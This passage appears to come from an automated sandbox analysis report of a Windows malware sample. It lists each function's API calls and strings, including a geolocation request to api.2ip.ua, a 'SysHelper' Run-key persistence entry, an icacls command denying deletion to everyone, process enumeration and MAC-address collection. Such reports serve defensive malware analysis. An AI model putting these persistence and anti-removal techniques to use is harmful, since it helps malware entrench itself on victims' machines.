InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0, Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382stringregistrylibraryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32 ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32 ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32 ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 004120C2
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SysHelper, xrefs: 00411D5B, 004120EB
Shell32.dll, xrefs: 00411E94
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
icacls ", xrefs: 0041214C

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00412220, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00423576, Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50, Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00870000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64, Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: RtlDecodePointer.NTDLL(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900, Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32 ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
_memmove.LIBCMT ref: 004119C4
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memmove_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 1929382606-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730, Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32 ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51

Part of subcall function 00414690: _memmove.LIBCMT ref: 00414759

_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message_memmove$FileFindNamePathPeek$Dispatch
String ID:
API String ID: 512911641-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670, Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00870000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00412440, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
